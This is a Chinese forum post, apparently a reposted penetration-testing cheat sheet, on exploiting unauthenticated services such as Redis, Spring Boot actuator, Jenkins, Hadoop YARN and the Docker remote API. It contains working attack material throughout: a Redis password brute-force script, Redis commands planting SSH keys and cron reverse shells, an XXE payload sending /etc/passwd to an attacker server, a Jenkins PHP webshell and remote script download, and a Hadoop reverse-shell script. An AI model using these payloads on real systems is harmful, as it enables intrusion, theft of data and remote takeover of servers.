2024年敏感信息泄露总结_rabbitmq弊端(2),最新大厂网络安全校招面试经验汇 ...

十念  金牌会员 | 2024-7-20 08:06:36 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 684|帖子 684|积分 2052

网上学习资料一大堆,但如果学到的知识不成体系,碰到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份体系化资料的朋友,可以点击这里获取
一个人可以走的很快,但一群人才华走的更远!岂论你是正从事IT行业的老鸟或是对IT行业感爱好的新人,都欢迎加入我们的的圈子(技术交换、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
三.组件未经授权访问


1.Druid未授权访问
常见的页面泄露
  1. html:
  2. ip/druid/index.html                          ##Druid Index
  3. ip/druid/sql.html                                ##Druid sql监控页面
  4. ip/druid/weburi.html                        ##Druid Web URI监控页面
  5. ip/druid/websession.html                ##Druid Web Session监控页面
  6. json:
  7. ip/druid/weburi.json                        ##Druid Web URI json
  8. ip/druid/websession.json                ##Druid Web Session json
  9. Druid 登录接口:
  10. ip/druid/login.html                                ##Druid登录认证页面
复制代码
google hacking语法:
intitleruid Stat Index

进一步利用如果有的时候session存在可以进行session获取伪造
2.redis未授权访问大概弱口令情况
弊端缘故原由:
这个也是经常用ssrf打内网的缘故原由
  1. (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  2. (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
复制代码
批量判断方法:
  1. #! /usr/bin/env python
  2. # \_\*\_ coding:utf-8 \_\*\_
  3. import socket
  4. import sys
  5. PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
  6. def check(ip, port, timeout):
  7.     try:
  8.         socket.setdefaulttimeout(timeout)
  9.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10.         s.connect((ip, int(port)))
  11.         s.send("INFO\r\n")
  12.         result = s.recv(1024)
  13.         if "redis\_version" in result:
  14.             return u"未授权访问"
  15.         elif "Authentication" in result:
  16.             for pass_ in PASSWORD_DIC:
  17.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  18.                 s.connect((ip, int(port)))
  19.                 s.send("AUTH %s\r\n" %(pass_))
  20.                 result = s.recv(1024)
  21.                 if '+OK' in result:
  22.                     return u"存在弱口令,密码:%s" % (pass_)
  23.     except Exception, e:
  24.         pass
  25. if __name__ == '\_\_main\_\_':
  26.     ip=sys.argv[1]
  27.     port=sys.argv[2]
  28.     print check(ip,port, timeout=10)
复制代码
利用方法:
登录redis
redis-cli -h 192.168.0.104(ip)

2.1 利用redis写webshell

2.2 利用"公私钥"认证获取root权限
条件:redis是以root身份运行
  1. mkdir /root/.ssh
  2. config set dir /root/.ssh      
  3. config set dbfilename authorized_keys
  4. set xxx "\n\n\n本地公钥信息\n\n\n"         #"本地公钥信息"替换为自己的公钥信息
  5. save   
复制代码

2.3 crontlab反弹shell
1).攻击者服务器上启动一个监听端口
nc -lvnp 4444
2.)进行写
连接redis,写入反弹shell
  1. redis-cli -h 192.168.0.104 -p 端口
  2. set xxx "\n\n\*/1 \* \* \* \* /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
  3. config set dir /var/spool/cron
  4. config set dbfilename root
  5. save
复制代码
2.4redis主从复制rce
原理:
Redis实例设置主从模式的时候,Redis的主机实例就可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,进而进行执行拓展的新命令
两个脚本
1).https://github.com/n0b0dyCN/redis-rogue-server

2).https://github.com/Ridter/redis-rce

3.MongoDB未授权访问
概念:MongoDB是一个基于分布式文件存储的数据库,且默认端口
产生缘故原由:
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操纵(增删改高危动作)而且可以长途访问数据库
弊端利用:
ip:端口(访问即可,默认是27017)
工具:
https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
4.javaMelody
特性:

页面:/monitoring
5.swagger扫描
常见的页面
  1. /swagger-ui.html
  2. /swagger/swagger-ui.html
  3. /api/swagger-ui.html
  4. /v1.x/swagger-ui.html
  5. /swagger/index.html
  6. swagger-ui.html#/api-memory-controller
  7. /swagger/ui/
  8. swagger-ui
复制代码
swagger扫描工具

6.kibana未授权访问
先容:可以用kibana搜索、查看存放在Elasticsearch中的数据。默认端口是5601。
fofa:/app/kibana
利用方法:
http://<target_IP>:5601/app/kibana#/
7.spring cloud
Springboot之actuator配置不妥的弊端利用
Http 方法路径形貌get/autoconfig提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过get/configprops形貌配置属性(包罗默认值)如何注入 Beanget/beans形貌应用步伐上下文里全部的 Bean,以及它们的关系get/dump获取线程活动的快照get/env获取全部环境属性get/env/{name}根据名称获取特定的环境属性值get/health报告应用步伐的健康指标,这些值由 HealthIndicator 的实现类提供get/info获取应用步伐的定制信息,这些信息由 info 打头的属性提供get/mappings形貌全部的 URI 路径,以及它们和控制器(包罗 Actuator 端点)的映射关系get/metrics报告各种应用步伐度量信息,好比内存用量和 HTTP 请求计数get/metrics/{name}报告指定名称的应用步伐度量值post/shutdown关闭应用步伐,要求 endpoints.shutdown.enabled 设置为 true(默以为 false)get/trace提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) sprigboot判断方法:
①根据title去确定

②根据404页面返回去进行判断

路径弊端利用:
  1. /jolokia/list#并且返回的json中有“reloadByURL”,关于路径问题:1.x版本的在根路径下注册路由
  2. /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
  3. /beans 描述应用程序上下文里全部的Bean,以及它们的关系
  4. /env 获取全部环境属性,数据库账户密码泄露,可获取mysql,managodb数据库的用户名和密码
  5. /configprops 描述配置属性(包含默认值)如何注入Bean
  6. /dump 获取线程活动的快照
  7. /health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供,git项目地址泄露,可获取git项目的地址
  8. /info 获取应用程序的定制信息,这些信息由info打头的属性提供
  9. /mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
  10. /metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
  11. /shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
  12. /trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)获取用户认证字段信息,,比如如下站点存在 actuator 配置不当漏洞,在其 trace 路径下,除了记录有基本的 HTTP 请求信息(时间戳、HTTP 头等),还有用户 token、cookie 字段
  13. /heapdump 路径 #泄露站点内存信息,很多时候会包含用户的账户和密码
复制代码
进阶利用
Jolokia利用和env进阶利用思绪
利用/jolokia/exec结合起来进行利用
1.xxe
vps的文件
  1. 1.fire.xml
  2. <?xml version="1.0" encoding="utf-8" ?>
  3. <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps-ip/fire.dtd">%remote;%int;]>
  4. <a>&trick;</a>
  5. 2.fire.dtd
  6. <!ENTITY % d SYSTEM "file:///etc/passwd">
  7. <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
复制代码
客户端打payload
  1. target-ip/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps-ip!/fire.xml
复制代码
8.Elasticsearch未授权访问
弊端缘故原由:
Elasticsearch是用Java开发的企业级搜索引擎,默认端口9200,存在未授权访问弊端时,可被非法操纵数据
接口:
  1. /_nodes #查看节点数据
  2. /_cat/indices #索引
  3. _cat/indices
  4. /_plugin/head
  5. /_nodes/
  6. /_status
  7. /_search?pretty
复制代码
9.Jenkis未授权访问
概念:是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成大概。
定位:

弊端所在(未经授权访问的):
http://192.168.254.151:8080/manage
http://192.168.254.151:8080/script
典型命令
  1. 查询当前用户
  2. println "whoami".execute().text
  3. 查看ip配置信息
  4. println "ifconfig -a".execute().text
复制代码
复现方法:
访问manage页面后点击脚本命令行
写shell
new File(“D:\phpstudy_pro\WWW\ma.php”).write(’<?php @eval($\_POST[cmd]);?>’);
利用wget命令长途下载shell
println “wget http://xxx.secpulse.com/tools/back.py -P /tmp/”.execute().text
println “python /tmp/back.py 10.1.1.111 8080”.execute().text
back.py并不需要root权限
poc进行利用弊端
10.JBoss未授权访问
概念:JBoss是一个基于J2EE的开放源代码的应用服务器。( 个人更加喜好理解为组件服务器)
弊端缘故原由:
JBoss默认访问jmx-console页面不需要输入密码,大概默认密码admin/admin
部署马方法
两个思绪部署马
批量脚本:
https://github.com/joaomatosf/jexboss
11.Hadoop
概念:是一个由Apache基金会所开发的分布式体系基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部门默认服务端口,黑客可以通过命令行操纵多个目录下的数据,如进行删除,下载,目录浏览乃至命令执行等操纵,产生极大的危害。
定位:

利用payload:
  1. 反弹shell结合shell脚本即可
  2. #!/usr/bin/env python
  3. import requests
  4. target = 'http://192.168.92.131:8088/'
  5. lhost = '192.168.10.136' # put your localhost ip here, and listen at port 9999
  6. url = target +'ws/v1/cluster/apps/new-application'
  7. resp = requests.post(url)
  8. app_id = resp.json()['application-id']
  9. url = target + 'ws/v1/cluster/apps'
  10. data = {
  11.    'application-id': app_id,
  12.    'application-name': 'get-shell',
  13.    'am-container-spec': {
  14.        'commands': {
  15.            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' %lhost,
  16.        },
  17.    },
  18.    'application-type': 'YARN',
  19. }
  20. requests.post(url, json=data)
复制代码
12.VNC未授权访问
概念:VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的长途控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部门组成。
VNC 默认端口号为 5900、5901。
利用方法:
12.1)
安装工具
VNC-Viewer-5.2.0-Windows-32bit.msi
客户端安装包下载链接:
https://pan.baidu.com/s/1phgU95Kfo4W1VboNIB6Mqg 提取码:htq9
安装过程,双击msi文件一起下一步就可以了。
12.2)进行连接
在 VNC 客户端输入目的服务器IP,之后点击确定、连接,即可成功控制目的服务器


修复方法:给vnc配置密码
13.docker未授权访问
弊端缘故原由:docker remote api可以执行docker命令,docker保卫历程监听在0.0.0.0,可直接调用API来操纵docker。
标识页面:
①页面显示这个

②查看目的基本信息
:2379/version
:2379/info

弊端利用:
  1. #1.新运行
  2. sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
  3. #2、在容器内执行命令,将反弹shell的脚本写入到
  4. /var/spool/cron/root echo '\* \* \* \* \* /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
复制代码
本身vps主机配置

14.Zookeper未授权访问
概念:ZooKeeper是一个分布式的、开放源码的分布式应用步伐协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。
弊端缘故原由:
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得体系大量的敏感信息,包括体系名称、Java环境。
弊端复现:echo envi|nc 192.168.15.74 2181

15.Rsync未授权访问
概念:
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行长途文件传输。
弊端原理:开启了rsync服务但是没设置配置密码,因此攻击者可以读写该服务
给大家的福利

零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了具体的学习成长门路图。可以说是最科学最体系的学习门路,大家跟着这个大的方向学习准没问题。

同时每个成长门路对应的板块都有配套的视频提供:

因篇幅有限,仅展示部门资料
网上学习资料一大堆,但如果学到的知识不成体系,碰到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份体系化资料的朋友,可以点击这里获取
一个人可以走的很快,但一群人才华走的更远!岂论你是正从事IT行业的老鸟或是对IT行业感爱好的新人,都欢迎加入我们的的圈子(技术交换、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

十念

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表